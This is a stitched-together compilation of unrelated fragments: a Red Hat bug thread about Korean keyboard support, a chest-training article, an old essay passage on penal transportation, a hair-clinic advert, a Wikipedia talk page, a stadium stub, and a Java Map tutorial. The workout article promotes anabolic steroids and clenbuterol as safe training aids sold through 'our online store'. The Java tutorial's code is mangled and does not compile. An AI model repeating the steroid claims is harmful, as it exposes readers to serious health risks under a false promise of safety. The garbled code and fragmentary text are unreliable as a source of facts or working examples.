processing is done. For example, a delete operation may
work on a phonetic symbol or a syllable. Korean code sets
include several thousands of these syllables. A user types
the phonetic symbols that make up the syllables of the
words to be entered. The display may change as each
phonetic symbol is entered. For example, when the second
phonetic symbol of a syllable is entered, the first
phonetic symbol may change its shape and size. Likewise,
when the third phonetic symbol is entered, the first two
phonetic symbols may change their shape and size.
http://docs.sun.com/db/doc/806-6642/6jfipqu52?a=view
Korean text can be written using a phonetic writing
system called Hangul. Hangul has more than 11,000
characters, which consist of consonants and vowels
known as jamos. About 3000 characters from the entire
Hangul vocabulary of characters are usually used in
Korean computer systems. Korean also uses ideographs
based on the set invented in China, called hanja.
Korean text requires over 6000 hanja characters.
Hanja is used mostly to avoid confusion when Hangul
would be ambiguous. Hangul characters are formed by
combining consonants and vowels. After combining them,
they can compose one syllable, which is a Hangul
character. Hangul characters are often arranged in
a square, so that the group takes up the same space
as a hanja character. Arabic numerals, Roman letters,
and special symbol characters are also present in
Korean text.

Comment 7 Brent Fox 2004-01-08 14:28:03 EST
Ok, I've talked to some other people and I have a little better idea
of what's going on here. You don't really need a Korean keymap
selected. A US keymap will do just fine. What you do need to do is
make sure that the locale is set to Korean.
To do this, you need to have installed Korean language support in the
Anaconda language support screen. Then when you log in with GDM, make
sure you pick Korean as the language.
Once you log in, then you can switch between the US and Korean input
methods by pressing <Shift>Space. This works for me on my test
machine. Can you try this and see if it works for you?
One thing I can do is to add an entry for Korean keyboards although
all it will do is load a US keymap. I believe that XFree86 keys off
of the locale to figure out which input methods to enable.
Comment 8 Dimitri Papadopoulos 2004-01-08 15:05:27 EST
I totally agree with the last paragraph. Please add a Korean entry,
even if it's just a US alias. Here's a brief explanation why this is
needed.
I understand I don't necessarily need a Korean keymap. However these
are interbal issues. As an end-user, I see that I have a Korean
keyboard, period. Then I look for such a keyboard in the list of
keyboards and can't find it. That's disturbing.
Also Microsoft Windows does have a Korean keyboard entry.
Finally how is the Korean keyboard different from a Japanese keyboard?
I'm not talking about X11 internals. I'm talking about the layout of
the hardware and the way it's used. From what I know, Japanase and
Korean are used in a similar way. So I can see no reason why there
should be a Japanase entry and no Korean entry. Again I'm not talking
about internals. Maybe I'm missing some difference in the way Japanase
and Korean keyboards are used.
Comment 9 Brent Fox 2004-01-08 15:29:35 EST
Changing component to rhpl since that's where the list of keyboards
comes from.
Comment 10 Brent Fox 2004-01-08 15:37:10 EST
Ok, I've added a Korean keyboard entry to the keyboard list and
committed it to cvs. This should fix the problem. Note that the user
will still have to know to use <Shift> Space to switch between methods.
Comment 11 Dimitri Papadopoulos 2004-01-10 07:21:09 EST
The user shouldn't have to know to use <Shift> Space to switch between
methods. That's what the Hangul and Hangul_Hanja keys are for. The
user _could_ use <Shift> Space but shouldn't _have_ to.
Are you sure the Korean keymap isn't a little bit different from the
US keymap, just to take into account these two keys?
Comment 12 Dimitri Papadopoulos 2004-01-10 08:19:21 EST
Otherwise I did have US-English, French, German, Greek, and Korean
language support installed. For example Korean man pages are installed:
$ rpm -qa | fgrep man-pages-
man-pages-1.60-4
man-pages-fr-0.9.7-8
man-pages-ko-1.48-10
man-pages-de-0.4-6
$
I picked up Korean language in GDM prior to logging in. I'm now able
to switch from English input to Korean input using <Shift> Space. That
said the input method doesn't seem to work very well, at least under
KDE. Using the Kate text editor, I'm unable to see what I'm typing in
Korean. I have to switch back to English input to see the Korean text
that has been typed. Anyway, that's another unrelated issue.
Note that I have not been able yet to check whether the Hangul and
Hangul_Hanja keys work properly and switch input methods under a
Korean locale. The Korean keyboard is on a Windows machine now, I'll
try again later.
Finally, it's not convenient to have to log under a Korean locale to
type Korean text. This is especially true now that Red Hat is moving
to UTF-8 locales. I'm currently working under a French locale, but
sometimes I want to search the Greek Yellow Pages, or search for a
Korean word in Google. Windows allows many input methods / keyboard
layouts under the French locale, and I find that very convenient. I
realize this is probably a X11 limitation / bug, however it would be
nice if an issue could be opened somewhere so that this gets a chance
to be fixed someday. Anyway, that's yet another unrelated issue.
Comment 13 Dimitri Papadopoulos 2004-01-10 08:34:56 EST
Also note that the KDE Control Center also lacks a Korean keyboard.
See attached screenshot. I'm not sure whether this is related. Was the
KDE Control Center modified to take its information from:
/usr/lib/python2.2/site-packages/rhpl/keyboard_models.py
or did KDE forget to add a Korean item to the list as well?

How to best pump up the male chest?
Almost every male weightlifting athlete wants to pump up voluminous pectoral muscles. Since they make the figure visually wider in depth. In addition, pumped up male breasts are a sign of masculinity. A guy with well-developed chest muscles usually has high physical strength. You can pump them up both in the gym and at home.
Training features
The pectoral muscles are unable to work in isolation from other parts of the body, as during the exercises, the arms, back, shoulders and deltoid muscles are tense. Professional bodybuilders believe that the chest must be trained in conjunction with a specific muscle group. The muscles of the back are ideal for this within a superset.
You can make a large volume of male breasts using basic exercises. A person can conduct training both at home and in the gym. An inflated male chest is the result of lifting a lot of weight. It is not at all necessary for a person to do a lot of exercises during training. It is enough to calculate the optimal load, which can exclude an increase in the endurance of the chest.
For most male athletes, building up the chest is great until they see the progress of other athletes in the gym with huge pectoral muscles. This is mainly due to the vast majority of gym users taking supplements to help them progress within their workouts. These include Dianabol or Anavar tablets for beginners to the weight lifting world and Sustanon, Trenbolone and Halotestin for those advanced lifts who wish to take their game to the next level.
With the use of these mass gaining substances, the body works more effectively and effectively with the food consumed, within the recovery period and also within the workouts phase. With just a few months of use, an athlete can pack on 10-15kg of muscle mass as long as their diet and workout programs are on point. As you can imagine, this kind of muscle gain usually takes years to achieve, not months. But if used correctly and under the safe guidelines, these training aid supplements can sling shot your progress and push you much closer to the body you desire.
Pumping rules
Almost every guy wants to achieve a large chest volume. To be successful, a person must do exercises with the correct technique. The easiest way to enlarge the male chest is to hire a personal trainer. However, if a person does not have such an opportunity, then he should learn from his mistakes and practice.
Here are some rules for how to pump up the male chest:
• Begin all exercises with a warm-up. If an athlete is doing a bench press, then the load falls on the shoulder joints. If the warm-up is not carried out, then the bodybuilder runs the risk of injury.
• Make training maximum 2 times a week. A person should rest for more than 2 days.
• You need to choose exercises so that the upper chest strains the most. The lower part of the muscles should be devoted to 10-15 minutes of training.
• Increase the weight. A person should select the weight based on his or her capabilities. If an athlete does 15-20 reps with ease, then he needs to increase the weight of his or her gymnastic apparatus.
• The musculature will not increase if the person does too many or too few reps.
Professional bodybuilders recommend working out the chest at the very beginning. For example, Arnold Schwarzenegger began each of his workouts by pumping his chest. Experienced athletes recommend doing 2 warm-up exercises. Then proceed to increase the weight and reduce the number of repetitions. Bodybuilders recommend stretching between sets. This will increase blood flow and maintain joint flexibility.
Exercises for pumping
Male and female breasts are anatomically very different. However, the algorithm for pumping these muscles is the same. Identical training systems can be applied to both sexes.
The best chest exercises for this are:
• Bench press. This exercise is basic. It must be performed while lying on a bench. The athlete holds the barbell over his chest. Then he lowers and raises it to its original position. If a person makes the angle of inclination higher, then his upper bundles of muscles will be strained. Performing an exercise with a narrow grip, a person engages the triceps and shoulder girdle in the work.
• Classic push-ups. A person can perform this exercise almost anywhere. The athlete needs to touch the floor with the lower point of the chest. To complicate this exercise, you can use a backpack with a load or other weighted loads. Also, a person can put books under his or her hands that will allow the body to be lowered lower. The exercise can be performed with wide arms. You should also do it on your knees. During execution, the lower muscle bundles will be loaded.
• Dip bar exercises. This exercise is available to almost everyone. Parallel bar dips are performed on the apparatus until the shoulders drop to the level of the bars. A person should not slouch during training. Since other muscle groups will be strained. It is best to do exercises on a gymnastic apparatus, where the distance between the bars will be around 70 centimetres.
These are the basic exercises that will allow a person to enlarge their chest. They can be used by both men and women. A person can perform some of them even at home. But before performing these exercises please make sure to perfect the correct technique in order to heighten the results, but more importantly, to reduce the risk of injury.
For some athletes, gaining the muscle’s volume and size is not everything, as some people strive for strength and definition. In these cases, many athletes use supplements that help their body to adjust to such goals. For beginner athletes, Superdrol and Clenbuterol are used in tandem or for more intense results, Winstrol and Clenbuterol are used. These tablets when used solo will provide great results for the user in terms of promoting fat loss, strength gain, increase stamina and endurance levels along with faster recovery times between workouts. For more advanced weight lifters, often Masteron are used in tandem to provide the best results within this phase for gaining lean muscle mass. You can find these outstanding substances within our online store with further details on their use.
Gym workout program
Many people are interested what is the name of the men’s chest. For girls this area is called the mammary glands. For men, this place is called “the chest”. To build a muscle group, a person needs to train it 2 times a week. Experts recommend adding exercise to your training system. Thus the effectiveness of the exercises will increase several times.
Pectoral muscle training program within the gym:
• First lesson. From the very beginning, a person needs to start pressing the bar on an incline bench. You should do 4 sets of 6-10 reps. After that, start pressing dumbbells on an incline bench. Perform 4 sets of 10 times. Then you can start the dumbbell incline bench press. You need to do 4 sets of 15 reps.

punishment, viz. that it should be formidable, Archbishop Whately proposes to substitute for transportation solitary confinement in penitentiaries, and hard labour under efficient superintendence in England. But there is surely nothing more formidable in solitary confinement and hard labour in England, than there is in solitary confinement and hard labour at a penal settlement on the coast of New Holland. Solitary confinement by night may be impracticable in the case of convicts employed at hard labour of certain descriptions at a penal settlement; as, for instance, in road-making, the place of encampment in such cases requiring to be frequently changed: but even in these cases, the difficulty, I conceive, might be easily got over in a country abounding in forest-timber. That there should be any difficulty, however, in subjecting a convict under sentence of transportation to as hard and incessant labour at a penal settlement in New Holland as it is possible to subject him to in England, I cannot conceive: on the contrary, the facilities of apportioning the comparative severity of the labour to the comparative criminality of the convict, are much greater in a new country than in one in a high state of improvement. The labour, for instance, required in the various operations implied in road-making, in a country of broken surface

Slit Graft Technique in Hair Transplantation: Precision and Natural Results at Estefarya Hair Transplant Center
At Estefarya Hair Transplant Center, we utilize a variety of advanced techniques in hair restoration, including the Slit Graft method. This technique is crucial in achieving precise and natural-looking results for our patients undergoing hair transplant procedures.
What is a Slit Graft in Hair Transplantation?
A Slit Graft refers to a method used in hair transplantation where small incisions, or ‘slits,’ are made in the recipient area of the scalp to insert hair grafts. This technique allows for precise control over the angle, direction, and depth of each transplanted hair, ensuring a natural appearance and maximized density.
Benefits of the Slit Graft Technique:
1. Natural-Looking Results: The ability to control the placement of grafts with the Slit Graft technique ensures that the transplanted hair blends seamlessly with the existing hair, mimicking natural growth patterns.
2. Minimized Scalp Trauma: The precision of the slit method means smaller incisions, which translates to less trauma to the scalp and potentially quicker healing.
3. Enhanced Density: By strategically placing grafts, this technique can effectively increase the density of hair in the transplant area, offering a fuller appearance.

Talk:Unit operation
Thermodynamics vs heat transfer
Isn't thermodynamic processes redundant with heat transfer right there? -- <IP_ADDRESS>, 2 November 2005
No. Thermodynamics and heat transfer are different. Heat transfer has to do with transfering thermal energy from one stream (or material) to another. Thermodynamics has to do with equilibrium, multiple phases, transfer of material from one phase to another. Thermodynamics pulls information from mass transfer, heat transfer, kinetics, etc. --BeastRHIT 14:06, 3 November 2005 (UTC)
Mechanics versus mass transfer
Doesn't mechanical processes include mass transfer processes like solids transportation? --<IP_ADDRESS> 12:58, 31 October 2007 (UTC)
Definition
The definition is completely wrong. The unit operation textbook, Unit Operations of Chemical Engineering, defines it succinctly: "The unit operations are largely used to conduct the primarily physical steps of preparing the reactants, separating and purifying the products, recycling unconverted reactants and controlling the energy transfer into or out of the chemical reactor". By no means are unit operations limited to separation processes as mentioned by someone. Also, the difference between a unit process and unit operation is that of chemical change. The whole of unit process is based on chemical change: Chemical kinetics, reactor design, thermodynamics of reactions etc. Whereas there is no chemical change in a unit operation. — Preceding unsigned comment added by Brotha01 (talk • contribs) 09:39, 4 March 2011 (UTC) The definition of unit operation is rather vague in the article. See for example this. A unit operation is a physical transport process, not a step in a sequence. For example, the processing step of pasteurization isn't technically a unit process but a chemical reaction where bacteria are killed. Heat transfer is the unit process there, effecting the chemical reaction. Baking of bread, pasteurization, and even thermal cracking all include the unit process of heat transfer, but they aren't unit processes themselves, because also a chemical reaction occurs. Distillation, in contrast, is an unit process, whereas reactive distillation isn't. The distinction is significant because chemical reaction models have to be more "custom-made" than unit process models. --Vuo (talk) 15:47, 23 July 2008 (UTC)
* And to add, the term unit operation is superseded by the term separation process according to Geankoplis (Transport Processes And Separation Process Principles). --Vuo (talk) 09:50, 26 July 2008 (UTC)
* I searched "unit operation" on google and was led to this page, which came out in the first place. Other pages indeed made it clear unit operation is primarily physical. Should someone in the area modify this or give the source.Gamebm (talk) 14:39, 5 December 2021 (UTC)

Rohonci út
Stadion Rohonci Út (Rohonci úti stadion) was a multi-purpose stadium in Szombathely, Hungary. It was home to Szombathelyi Haladás. The stadium was able to hold 12,500 people and was built in 1923. It hosted the hammer throw events for the IAAF World Athletics Final as the Stade Louis II in Monaco is too small.
Demolition
On 19 January 2016, the seats were removed from the old stadium. Some of these seats were purchased by the club's supporters and the rest was acquired by smaller clubs based in Vas County.
On 23 February the flood lights were demolished.

Generic Map in Java Tutorial
Java Generics Tutorial List :
Generic Map in Java :
In this tutorial you will see how to create a generic Map object. In a generic Map you need to define the type of the key and the type of the value of object stored in the Map.you can set the specific type of both the keys and values in a generic Map instance.
The syntax for creating a generic Map is given below.
Map<k, v=""> map = new Map<k, v="">();
Here K is the type of map key and V is the type of the value stored in the map. If you want a map to hold a value of reference to String object and using an Integer as the key, declaration of Map is given below.
Map<Integer, String> set = new HashMap<Integer, String>;
This Map can now only accept Integer instances as keys, and String instances as values.
Adding and getting elements to a generic Map :
Adding and getting elements to a generic Map is done using the put() and get() methods,
If you want to add some elements to the map you can use put() method. No need to worry that you put a wrong type of object into the map,because the Java compiler will check it at compilation time.
Map <integer, string=""> map = new HashMap<>();
map.put(1, "A");
map.put(2, "B");
//map.put("4", new Date()); // Compile time error!
String a = map.get(1);
String b = map.get(2);
The get() method will return a value from the map that correspond with the given key. It is not necessary to cast the String instance returned by the get() method. The compiler knows that this Map has String values, so casting is not necessary.
Iterating a Generic Map :
You can iterate map by using two collections keySet and the values(). Most often you iterate the key Set and access the values for each key via the Map.get() method.
Using keySet() :
Map<integer, string=""> map = new HashMap<integer, string="">;
map.put(1, "A");
map.put(2, "B");
// iterate keys.
Iterator<integer> keyIterator = map.keySet().iterator();
while(keyIterator.hasNext()){
Integer aKey = iterator.next();
String aValue = map.get(aKey);
}
Using values() :
Map<integer, string=""> map = new HashMap<integer, string="">;
map.put(1, "A");
map.put(2, "B");
// iterate keys.
Iterator<string> valueIterator = map.values().iterator();
while(valueIterator.hasNext()){
String aString = valueIterator.next();
}
You can also use the new for-loop, like this:
Map<integer, string=""> map = new HashMap<integer, string="">;
//... add key, value pairs to the Map
for(Integer aKey : map.keySet()) {
String aValue = map.get(aKey);
System.out.println("" + aKey + ":" + aValue);
}
for(String aValue : map.values()) {
System.out.println(aValue);
}
Output
